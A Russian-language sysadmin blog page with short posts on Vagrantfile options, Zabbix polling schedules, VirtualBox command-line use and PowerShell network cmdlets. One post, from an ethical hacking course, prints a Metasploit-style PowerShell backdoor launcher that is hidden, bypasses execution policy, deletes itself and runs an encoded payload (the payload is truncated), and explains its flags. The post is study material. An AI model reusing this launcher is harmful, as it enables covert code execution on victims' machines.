Главная


Monday, 25 April 2022

Vagrantfile features.


Всем привет.

Уверен что вы с VirtualBox командную строку используете намного реже чем GUI. Но есть одна причина не пользоваться ни тем ни другим - это Vagrant.  Vagrant этакая надстройка для виртуальных провайдеров 2-го уровня, которая позволяет автоматизировать многие  повторяющиеся процессы по развертыванию виртуалок. Все описание процесса создания ВМ определенной конфигурации попадает в единый файл Vagrantfile. Полное его описание не последует в рамках данного поста, а последуют его фишки которые мне понравились от одного умного автора.

Например, чтобы сказать что: 

- мы хотим развернуть виртуальную машину из образа, имя которого задается переменной окружения 'box_name',  

- при этом следует проигнорировать Vagrantfile, включенный в состав этого образа как файл по умолчанию,

- машина в этом образе относится к классу Linux,

- по завершении запуска машины нужно вывести в консоль сообщение "Machine started".

Тогда следует в Vagrantfile написать так:

Vagrant.configure("2") do |config|

    config.vm.box = ENV['box_name']

    config.vm.ignore_box_vagrantfile = true 

    config.vm.guest = :linux

    config.vm.post_up_message = "Machine started"

end

Можно создать отдельный раздел, определяющий какие ресурсы хостовой машины мы выделяем для гостевой машины.  Делается это через доступ к свойствам отдельных провайдеров (гипервизоров), т.е обращаемся к свойствам VirtualBox:

    config.vm.provider :virtualbox do |v, override|

         v.gui = true # Display the VirtualBox GUI when booting the machine

        v.customize ["modifyvm", :id, "--memory", ENV['ram_memory_size_mb']]

        v.customize ["modifyvm", :id, "--cpus", ENV['cpu_count']]

        v.customize ["modifyvm", :id, "--vram", 64] # Video memory 64 MB

     end

где ram_memory_size_mb и cpu_count переменные окружения.

Sunday, 24 April 2022

Пользовательский интервал в Zabbix.

Всем привет.

Бывают случаи когда некий узел в Zabbix надо мониторить в зависимости от времени суток. Например если он регулярно выключается на выходные или на ночь, то и собирать лишние алерты от триггеров нет смысла. Как это можно реализовать?

Я знаю три варианта.

1. Использование функции time в условии триггера. 

Пишем условие так: item.last>0 И (item.time > 080000 И item.time < 170000) 

2. Настроить период обслуживания на ваш узел. 

Вам следует указать период обслуживания и выбрать типа обслуживания "без сбора данных". А чтобы узел не маячил на панели после надо отключить отображение обслуживаемых узлов фильтром панели.

3. И вариант с пользовательским интервалом в элементе данных.

Имеется возможность создания пользовательских правил относительно времени, когда элемент данных будет опрашиваться. Для этого есть два способа: 

- гибкие интервалы (flexible), который позволяет переопределить интервал обновления по умолчанию, 

- по расписанию (scheduling), посредством чего элемент данных может быть опрошен в конкретное время или последовательность времени.

Например если задать для гибкого интервала значение 1m с периодом "1-5,08:00-17:00" то элемент будет опрашиваться с частотой в 1 минуту только в рабочее время.

А если указать значение 0 с периодом "6-7,00:00-24:00" то элемент данных НЕ будет опрашиваться по выходным.

Выбор за вами.

Слава Украине!

Saturday, 23 April 2022

Командная строка в VirtualBox.

Всем привет. 

Так уж сложилось что многие пользуются в Oracle VirtualBox графическим интерфейсом. Тем не менее сам VirtualBox имеет довольно развитой CLI, которым вовсю пользуется популярный Vagrant (про него в следующий раз). Но я считаю что знать основы CLI от производителя тоже полезно. Ниже приведу наброски которые позволяют экономить время в работе с VirtualBox в домашней лаборатории.

Создание виртуальной машины.

1. создаем ВМ с указанным именем в заданной группе, указываем тип ОС (список поддерживаемых получаем VBoxManage list ostypes), регистрируем ВМ:

VBoxManage createvm –name “parrot” –groups “/pentest” –ostype “Debian” –register

2. выделяем системе ресурсы: 2 ядра, 1024 Мб ОЗУ, 16 МБ видеопамяти,  включаем ACPI и I/O APIC,  отключаем буффер обмена, включаем протокол удаленного рабочего стола, задаем порт, делаем привод загрузочным, добавляем две сетевухи 1-я NAT, 2-я внутрення сеть:

VBoxManage modifyvm “parrot” –cpus 2 –memory 1024 –vram 16 –acpi on –ioapic on –clipboard disabled –vrde on –vrdeport 888 –boot1 dvd –nic1 nat –nic2 intnet

3. создаем виртуальный жесткий диск (динамического объема) по указаному пути:

VBoxManage createhd –filename D:\work\vm\test\parrot.vdi –size 7168

4. добавляем к машине контроллер жесткого диска:

VBoxManage storagectl “parrot” –name “IDE” –add ide –controller PIIX4 –bootable on –hostiocache on

5. подключаем к контроллеру созданный ранее виртуальный жесткий диск:

VBoxManage storageattach “parrot” –storagectl “IDE” –port 0 –device 0 –type hdd –medium D:\work\vm\test\parrot.vdi

6. подключаем к кнотроллеру образ с дистрибутивом ОС:

VboxManage storageattach “parrot” –storagectl “IDE” –port 1 –device 0 –type dvddrive –medium D:\work\iso_nix\debian-7.1.0-i386-netinst.iso

Thursday, 21 April 2022

Бекдор на Powershell.


Всем привет.

Занимаясь  по курсу этичного хакинга в одном из тестов был создание бекдора на Powershell. Действительно с помощью Metasploit такой зловред создается относительно просто. Главное правильно выбрать параметры нагрузки. Ну и сам код и его запуск представляет наглядное пособие для изучения. Так как это всего лишь  тест, то код бекдора находится легко. Собственно моя находка представлена ниже:

# 2>NUL 

& @CLS 

& PUSHD "%~dp0" 

& "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('%~f0')|iex" 

& DEL "%~f0" 

& POPD /B powershell -noP -sta -w 1 -enc  

тут далее следует код нагрузки(payload) в кодировке Base64:

SQBGACgAJABQAFM.... и т.п.

Логика бекдора следующая - скачать нагрузку по url-ссылке, декодировать ее, выполнить и удалить ее же. Что мы имеем свыше:

1) ключи запуска:

-nol :NoLogo

-nop :NoProfile

-ep  :ExecutionPolicy Bypass

-sta :1 stream execution

-w 1 :Window style hidden

-enc :Encoded by base64

2) команда исполнения:

iex  :InvokeExpression

Tuesday, 19 April 2022

Get-NetTCPConnection и Get-NetUDPEndpoint.

Всем привет.

Рассмотрим два командлета PowerShell Get-NetTCPConnection и Get-NetUDPEndpoint как инструменты сетевой диагностики. 

Get-NetTCPConnection - это командлет PowerShell, запуск которого без опций возвращает результат аналогичный netstat. Чтобы вывести список открытых портов, используйте опцию -State со значением Listen:

Get-NetTcpConnection -State Listen

Список открытых портов содержится в колонке LocalPort, запись «0.0.0.0» означает IPv4 адреса, а обозначение «::» относится к IPv6 адресам.

В следующей команде выводятся только действительно интересные свойства, также сделана сортировка по номеру открытых портов:

Get-NetTcpConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess | Sort-Object -Property LocalPort | Format-Table

Как в PowerShell узнать, какая программа прослушивает порт? В следующем примере будет получено имя процесса, связанного с каждым открытым портом:

Get-NetTcpConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}} | Sort-Object -Property LocalPort | Format-Table

Чтобы узнать, какая именно программа прослушивает определённый порт, используйте следующий код на примере для 135-го порта:

$port='135'

Get-NetTcpConnection -State Listen | Where-Object {$_.LocalPort -eq "$port"} | Select-Object LocalAddress,LocalPort,OwningProcess,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}} | Sort-Object -Property LocalPort | Format-Table

Версія на друк

Популярне